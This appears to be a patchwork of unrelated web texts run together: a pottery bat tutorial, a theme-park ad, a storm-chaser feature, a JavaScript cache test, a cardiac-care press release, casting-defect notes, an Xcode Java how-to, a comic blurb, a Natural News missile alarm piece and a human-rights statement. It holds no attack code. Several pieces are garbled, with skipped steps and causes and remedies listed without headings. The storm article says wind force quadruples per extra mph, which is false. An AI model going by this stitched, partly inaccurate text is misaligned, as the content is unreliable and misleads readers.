The smaller half of the Quick-Release is mounted on the wheel and will then center and secure the bat.
Make as many as you need for about a dollar a bat!
1. Pour plaster into mold and seat Quick-Release into back of mold.
2. Simply drop bat over the Quick-Release wheel head attachment and it's centered & secure.
3.Brush bat with Talc to avoid facial creasing and then apply a measured clay paddy or slab to bat.
4. Draw clay down over bat and shape foot.
The best way to make plates is to eliminate trimming!
1. Draw clay down over bat.
3. Test for correct thickness and you're done.
This optional method allows you to change the size, change the contour, or impress a pattern.
1. Roll out a clay slab cut to fit and place in mold. Center mold on wheel (A clay chuck or a Giffin Grip is helpful). Sponge and rib the slab to desired contour.
2. Impress or carve pattern if desired.
apply multiple coats of mold soap to slab.
Pour mold and seat Quick-Release.
3. Thrown plate from patterned bat.


As the year changes, so do the festivals and events here on park! Be wowed with the most amazing of entertainment during The Festival of Wonder this spring. Then eat until your barbeque-loving heart is content during Bluegrass & BBQ when bbq restaurants are set up all across the park. Sail into summer with brand new artists during the Summer Concert Series and experience Silver Dollar City at night during Moonlight Madness! From rope tricks and cowboy cooking, get a true taste for fall during the National Crafts & Cowboy Festival (not to mention, pumpkin flavored food galore!). Come back in November and December and watch Silver Dollar City transform before your very eyes into a winter wonderland during An Old Time Christmas®, with over 6.5 million lights on park! No matter what season you come, you'll find something new around every turn.
Silver Dollar City is always more fun with a friend, and with a season pass you can bring a friend for a fraction of the one-day ticket price thanks to guests vouchers! Get your season pass before February 28 for your last chance to save on guest tickets for Moonlight Madness & select days during An Old Time Christmas!
2018 brings with it the arrival of the revolutionary new coaster, Time Traveler™ — the world's fastest, steepest and tallest spinning coaster! With a 2018 Season Pass you can experience the thrill of Time Traveler™ time after time. Plus, get a 2018 Trailblazer Season Pass and blaze to the front of the line once per operating day, all season long!
A 2018 Season Pass gives you unlimited visits all season for less than the cost of 2 one-day tickets. This is one value that you will not want to miss out on. Come back all year long with your season pass and enjoy your favorite foods, rides and shows, and experience all-new ones with the changing of the seasons!
Not only is a season pass less than the cost of 2 one-day tickets, it also gives you access to special benefits and savings! From discounts on lodging, tickets, and meals to Branson area savings, a season pass is by far the best silver for your dollar.
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Looking to the skies
in Front Page / by Wendy Nugent / on March 20, 2019 at 1:15 pm /
Jane and Clyve Herbert sit in their storm-chasing vehicle that has professional Doppler radar. They live in Kansas about six months out of the year and six months in Australia and storm chase in both countries. Wendy Nugent/Free Press
Bam. Bam. Bam. Horrific sounds of hail the size of baseballs and grapefruit hit their vehicle, slamming circular cracks in the glass.
Jane and Clyve Herbert of Hillsboro and Australia were out storm chasing in Wyoming a couple years ago. They seemed to be trapped on a road. In one direction, there was too much damage to navigate the vehicle, in another direction, the road was flooded and in another direction, they couldn't see. They took the flooded road, but before that, with the rain, hail, lightning, flooding, tornado and thunder, Clyve decided to propose to Jane.
Jane said he asked for her hand in probably the most chaotic storm they've been in.
"Initially, she laughed at me, and then she said yes," Clyve said.
The couple, who is retired and now storm chases for fun and to be helpful, married in December 2018 in Australia.
Clyve said he'd been thinking about proposing for a while.
"Jan and I have been really good friends," Clyve said. "We support each other. I'd been thinking about asking for about 12 months. The emotional level of the relationship exceeded the near-death experience. It was a tornadic supercell."
Sitting in the vehicle, Jane said they decided to take the flooded road because it was the safest route and that the water wasn't very high.
When not in Kansas, the newlyweds live in Trentham, Victoria, Australia, where Jane ran a business in Melborne, and Clyve was a railroad engineer for 40 years.
"That's why I like Newton because it's a railroad town," Clyve said.
When in Australia, they also storm chase there.
"We were born as weather enthusiasts," Clyve said.
Jane echoed those thoughts.
"When I was 3, I used to climb out on the kitchen roof and watch the clouds go past," she said.
Both just seem to have a natural affinity for the weather.
"I've always had a life-long passion for weather and atmosphere," Clyve said. "My interest is in atmospheric science, as well. Ever since I was young, I wanted to come to Tornado Alley and study the storms."
"We chase all weather," Jane added.
"We like photographing weather in the landscape," Clyve said, adding they like to get storms and storm clouds captured with the land.
On their Facebook page with Australian Sky & Weather, there are a number of storm, lightning and tornado photos they've taken.
They came to the Kansas, Texas and Oklahoma area in 2009.
"We were stunned at the storm dynamics," Clyve said. "In 2011, we came back for an extended stay."
That's when they bought a cottage in Hillsboro and moved into it in 2012.
"We liked the area," he said. "It is quiet. We like the road systems."
They also became acquainted with people of a certain religion.
"We discovered Mennonites," Clyve said. "We found they're humorous, hardworking here, very genuine."
While they're in the Hillsboro area chasing storms in surrounding states and areas, people from Australia and Europe stay with them in May, storm chasing with them.
"What fascinates me is the storm dynamic and so fast," Clyve said.
They've experienced a lot of those dynamics.
"We've seen about 200 tornadoes," Clyve said, adding they travel about 35,000 miles each season. "We follow the storms from Texas to North Dakota," adding they also go to Wyoming and Colorado in June.
Clyve said the storm season migrates and that the worst tornado they've seen was in Dixie Alley, which includes Mississippi, Alabama and Louisiana. It was an EF4 a few years ago. When they chase storms, they have Doppler radar and other weather-chasing gear. During that tornado, they saw something they'd never seen before.
"There were tractor-trailers falling out of the sky," Jane said.
"When you see something like that when you think you've seen it all; an incident like that is unbelievable," Clyve added. "When you see the force when they literally tear the ground up."
This is a double tornado taken by Australian Sky & Weather.
Clyve said wind strength goes up exponentially. If it goes up 1 mph, it increases four times, he said.
An EF5, the strongest and usually the largest of all tornadoes, comprise 1 percent of all tornadoes, but they do 90 percent of the damage.
Jane said one of their roles is storm spotting and reporting back what they see live.
"Quite often, we're the first on the scene," Clyve said.
They'll send photos and report hail. They have professional, high-resolution live Doppler radar, which shows the hail core and rotation in the core.
They don't offer their services for any financial gain, as they're self-funded, and they do talks in the area for no cost. Those wanting to have them talk can e-mail them at ausstorm@gmail.com.
"Over the course of 10 years of chasing, I've learned so much by actually coming face to face with the Plains storms," Clyve said, adding they can get up to 60,000 feet.
Seeing tornadoes and damage they leave aren't the only weather experiences the couple has had.
Clyve said he was struck by lightning a few years ago.
"I got out to take a photograph," he said, adding that when he stepped out, a nearby gate started humming, moving and sparking. He was hit by a peripheral strike, which affected his kidneys for a few weeks.
The coolest storm they've seen was in Matheson, Colo.
"That was a double tornado, including a tornado that spun the wrong way," Clyve said, adding those are called anti-cyclonic tornadoes. A total of 99 percent of tornadoes spin counter-clockwise, but this one rotated clockwise.
There also was a 2016 storm that spawned up to 20 tornadoes in three hours near Dodge City, and all the tornadoes missed Dodge.
"One of the nastiest I saw was the Langley tornado," Clyve said. "It was an EF4. There's so many we've seen."
They've seen a lot in America.
"America has the highest incidence of tornadoes in the world, particularly in the Plains area," Clyve said.
Jane said they try to stay a little further away from the storms and tornadoes to "get the whole structure" in photos. The closest they've been to a tornado was a couple hundred yards.
"Every storm is different," Jane said. "They have their own structures, they have their own sounds and colors."
The couple said tornadoes can have a variety of sounds, resembling trains, loud whistles, jet planes, waterfalls and paddle steams.
There's always two smells associated with tornadoes, Clyve said. Those are propane because of the damage they do and cedar.
The Herberts started chasing storms together in 1999, although Jane began years earlier.
"My first official storm chase was the first day I got my driver's license," she said.


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import assert from 'assert';
import util from 'util';
import fs from 'fs';

import Cache from '../src/Cache';

const mkdir = util.promisify(fs.mkdir);
const exists = util.promisify(fs.exists);

const getCache = () => new Cache('cache', 'test');

describe('Cache', () => {
  before(async () => {
    if (!await exists('cache')) await mkdir('cache');
  });

  it('should initialize', done => {
    getCache();
    done();
  });

  it('should set items', done => {
    const cache = getCache();
    cache.set('test-key', 'test-value');
    done();
  });

  it('should get items', done => {
    const cache = getCache();
    assert.equal(cache.get('test-key'), 'test-value');
    done();
  });
});


The Larry King Cardiac Foundation and Rush University Medical Center have joined forces to provide life-saving cardiac care for patients who have no insurance or limited means. The goal is to bring critical care to people who have run out of options.Cardiologists and heart surgeons at Rush will donate their time and perform surgeries at no cost to the patient. The Larry King Cardiac Foundation provides funding to compensate the hospital for the materials used.
In addition to providing free care, Rush will work with the Foundation's Health Across America campaign to raise awareness about heart disease and provide testing to those who would not normally have access to this support. Addressing risk factors such as high cholesterol, high blood pressure, diabetes, obesity, physical inactivity, unhealthy diet and smoking greatly reduces risk for illness and death from heart disease.
On Monday, September 22nd Rush will host a symposium on "Sudden Cardiac Arrest: Warning Signs, Detection and Prevention" featuring a panel of America's most distinguished physician thought leaders. The symposium, and a free cardiovascular disease screening offered to the public, is supported by Medtronic Inc., Life Line Screening and Otsuka America Pharmaceutical, Inc.
The symposium is an invitation only event that will be held from 10 a.m. to 11 a.m. in Room 500 of the Rush Professional Building. It will be moderated by Larry King and includes panelists: Dr. Bradley F. Bale, clinician and founder of the Heart Attack Prevention Clinic in Spokane, Washington; Dr. Elizabeth G. Nabel, director of the National Heart Lung and Blood Institute; Dr. J. James Rohack, president-elect of the American Medical Association; Dr. H. Robert Superko, executive director of the Center for Genomics & Human Health at St. Joseph's Hospital in Atlanta; and Dr. Annabelle Volgman, medical director of the Heart Center for Women at Rush University Medical Center. The special guest will be James M.P. Clarke, president of the 2 BigHearts Foundation. Clarke founded 2 BigHearts in memory of his late wife Gigi and sister-in-law Sally, who at the ages of 44 and 49 respectively, lost their lives to heart disease on the same day.
"Since screening, intervention, and treatment services for these risk factors are often beyond the reach of minority and low-income populations, these populations have a disproportionate burden of death and disability from cardiovascular disease," said Dr. Annabelle Volgman, medical director of the Rush Heart Center for Women.
Rush joins 10 other premier cardiac centers in the country that have been selected to partner with The Larry King Cardiac Foundation, including: Children's National Medical Center and George Washington University Medical Center in Washington, D.C.; Children's Hospital of Los Angeles and Cedars-Sinai Medical Center in Los Angeles, California; New York Presbyterian: The University Hospital of Columbia and Weill Cornell University Medical Center in New York, New York; St. Joseph's Hospital in Atlanta, Georgia; Covenant Health System in Lubbock, Texas, and The Cleveland Clinic in Cleveland, Ohio. The Foundation also works in conjunction with Venice Family Clinic in Venice, California.
Named as one of the top heart programs in the nation by U.S. News & World Report and Thomson Healthcare, Rush University Medical Center is a national leader in cardiac care. Working in state-of-the-art facilities, using some of the world's most sophisticated technology, the experts at Rush are on the leading edge of diagnosis, treatment and discovery. From preventive measures to heart transplantation, Rush is helping to revolutionize heart care. Consistent with Rush's commitment to put the patient first, the University HealthSystem Consortium, an alliance of approximately 100 academic medical centers, awarded Rush the highest score possible, 100 percent, for equity of care and has consistently ranked Rush among the top tier of its member institutions.


This type of defect often occurs in the thick part of the casting, or in the thick and thin junction. Sometimes the surface of the casting is white, which is actually shrinking.
The edging of the casting is too large.
In places where shrinkage is likely to occur, copper cold iron or a vent plug is embedded to accelerate cooling.
Such defects typically result in thin wall castings on larger horizontal surfaces, as well as in the final confluence of the alloy. After the casting is out of shape, it can be found by visual inspection.
The cast design is too thin or lacks proper fillet.
Design reasonable minimum wall thickness and casting fillet according to the casting design process requirements.
Pores are often produced in the upper part of the casting and often occur on the surface of the projecting portion of the casting. The hidden pores inside the casting must be visible through X-ray and as the casting is processed.
The core is not dry, the exhaust is poor, or the amount of gas is too large.
After the metal coating, the coating should be dried before it can be poured.
Most of the cracks appear at the inner corner of the casting, and the transition of the thick section; the part where the alloy liquid is introduced into the casting and the part where the casting stress is the largest can be found by coloring inspection, air tightness test, and X-ray inspection. Cold cracks on aluminum castings can be found by visual inspection after cleaning the sand core.
Apply asbestos insulation coating to the mold riser.
Segregation is generally distributed in the center and upper part of most of the thickness of the casting, which can be found in macroscopic analysis.
The metal type temperature is too high, the coating is uneven and too thick.
The wall thickness of the casting is appropriately thinned to accelerate solidification.


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How to Create Java Projects With Xcode
By Michael Dominick
Java development is well supported on Mac OS X.
Mac OS X and iOS developers are intimately familiar with Apple's Xcode development environment. Xcode is a full-feature tool that helps software developers produce rich applications for Mac OS X and iOS. Developers for iOS and OS X traditionally develop their applications using the Objective-C and Cocoa (Cocoa Touch for iOS) application framework. However, some software engineers prefer to work with alternative software development tools. One popular choice is Java. Knowing this, Apple has made developing Java-based applications easy using Xcode.
Verify that Java is installed on your system. To do this, open a terminal and type the following command: Java -version. Mac OS X comes pre-installed with the Java runtime environment and its corresponding Java developer kit (JDK), so you should see a version of Java printed out in the terminal. As of June 2011 the current version of Java for Mac OS X is Java 1.6, so if you see a lower version number printed out in your terminal, then you need to update your system's software via the built-in software update tool.
Open Xcode and create a new project based on the empty template under the OS X tab. Users familiar with out-of-date versions of Xcode (the current version of Xcode as of June 2011 is Xcode 4) might remember that there used to be templates dedicated to different types of Java applications, but this is no longer the case. You will be presented with a completely bare Xcode project.
Create the Java main file for your application by selecting "New File" from the file menu and naming the file "Main" with the ".java" extension; all Java applications must have a main file.
Right-click on the left pane of the IDE and select the "Add Group" option. This will create a folder with a name of your own choosing within the project, allowing you to organize your Xcode project in a logical manner.
Begin writing the code for your application. Assuming there is nothing wrong with your Xcode installation or your Java installation, Xcode should automatically provide syntax highlighting for your Java code.
Though Java was once well supported in Xcode, its support lags behind the support of other languages, particularly Objective-C, C, and C++. For example, you may find that the syntax highlighting for Java is not as complete as it is for those languages or as specific as it is in IDEs for Java.
Apple Developer: Java Frequently Asked Questions
iOS 4 Developer Library: Xcode 4 User Guide
Mac OS X Developer Library: Java Development Guide for Mac
How to Downgrade Java
How to Check to See if I Need Java Updates
How to Install an IPA File in an iPhone Simulator
How to Get Roblox Running on Ubuntu
How to Run a Python Script
How to Fix a "JVM terminated. Exit code=13" Error in Eclipse


Ray Bruwelheide puts the usually colorful Pokémon in black and white, telling the start of a story that isn't about battling, but about crime. It's just getting started, but there's a lot of promise in Bruwelheide's approach to the superpowered pocket monsters.
The first two pages of this brief intro comic are below. You can read the rest on Bruwelheide's website or his Tumblr. Hopefully, he's serious about the "to be continued" business.


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Home NWO North Korea's nuclear missiles can now reach New York City, Boston and...
North Korea's nuclear missiles can now reach New York City, Boston and Los Angeles, analysts conclude… are you awake yet?
by Mike Adams
Tuesday August 1, 2017
(Natural News) According to David Wright, physicist and co-director of the UCS Global Security Program, North Korea's latest ICBM — tested just days ago — has the capability to strike almost half of the largest U.S. cities, including Chicago, Denver and possibly even New York City.
As reported by Zero Hedge, North Korea now states:
…we have demonstrated our ability to fire our intercontinental ballistic rocket at any time and place and that the entire U.S. territory is within our shooting range.
…Melissa Hanham, a researcher at the James Martin Center for Nonproliferation Studies in California, confirmed the findings saying that the test showed North Korea is now capable of hitting U.S. cities such as Denver or Chicago.
Essentially, Kim Jong-Un just declared, "All your base are belong to us."
Washington D.C. appears to be just out of range for the moment, as the missiles fly over the North Pole and enter the atmosphere over the Northwest portion of the United States. This means Miami is the farthest away from North Korea's reach. Houston, New Orleans and other Southern cities are also on the extreme edge of potential range.
Tensions are escalating, and North Korea could launch an actual attack at any time
In a show of force, the United States Air Force is currently running supersonic bomber drills over North Korea, and President Trump is warning that world that the United States can "no longer allow" North Korea to continue threatening the world with nuclear missile launches that might set off World War III.
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UAE : the Federal Court convicts Jordanian journalist Mr. Tayseer al-Najjar to three years imprisonment for a Facebook post
The United Arab Emirates (UAE): the Federal Court convicts
Jordanian journalist Mr. Tayseer al-Najjar to three years imprisonment for a Facebook post
Geneva on March 27, 2017
The Federal Court in Abu Dhabi sentenced on March 15, 2017 Jordanian journalist Tayseer al-Najjar, who is a member of the Syndicate of Journalists and the Jordan Writers Association, to three years of imprisonment and a fine of 500.000 AED on the charge of publishing a Facebook post in 2014 considered by the Emirati authorities as endangering and threatening national security and interests and compromising the public order according to the Federal Decree-Law No. 5 of 2012 on Combating Cybercrimes.
Mr. Tayseer al-Najjar was arrested by the UAE State Security Apparatus on December 13, 2015 while he was on his way to return to Jordan. Since his arrest, Mr. Tayseer al-Najjar was exposed to several rights' violations. To be precise, he was forcibly disappeared for a three months' period and the authorities at that time refused to disclose his whereabouts. Further, his wife, Ms. Majida Al-Hourani, along with a Jordanian lawyer named Mr. Faisal al-Khuzai, a delegate from the Jordanian Bar Association, were both prevented from meeting and visiting Mr.Tayseer al-Najjar.
Mr. Tayseer al-Najjar's right as a prisoner was also violated by the officials in cell no. 9 in Al Wathba prison in clear breach of the Emirati Constitution, the UAE Federal Law No. 43 of 1992 on Regulating Reform and Penal Institutions and Body of Principles for the Protection of All Persons under Any Form of Detention or Imprisonment adopted by the UN General Assembly resolution.
Besides, the UAE authorities have deliberately delayed to bring Mr. Tayseer al-Najjar before a court. He was in fact tried before the Federal Supreme Court only on 1 February 2017, two years later since his arrest on 13 December 2015. This demonstrates a clear violation of his right, a right of every accused to be tried without delay.
In view of the above, the International Centre for Justice and Human rights (ICJHR) strongly denounces this unjust and oppressive judgment and condemns the human rights violations against Mr. Tayseer al-Najjar undertaken by the UAE State Security Apparatus and authorities i.e. violations of his dignity and integrity, his right to freedom of expression as well as his right to a fair trial with self-defense guarantees.
The International Centre for Justice and Human Rights (ICJHR) therefore urges the UAE government to:
Immediately release Mr. Tayseer al-Najjar, conduct a prompt and impartial investigation into the allegations of torture, ill-treatment, enforced disappearance and arbitrary detention and hold accountable all those involved in these violations and enable Mr. Tayseer al-Najjar of his right to appeal, redress and remedy the damage he was subjected to.
Establish fair, independent and impartial judiciary in conformity with Basic Principles on the Independence of the Judiciary and Guidelines on the Role of Prosecutors to ensure that fundamental rights and freedoms shall not be undermined.
Promptly fulfill the pledges made by the United Arab Emirates (UAE) before the Human Rights Council following the Universal Periodic Review in 2013.


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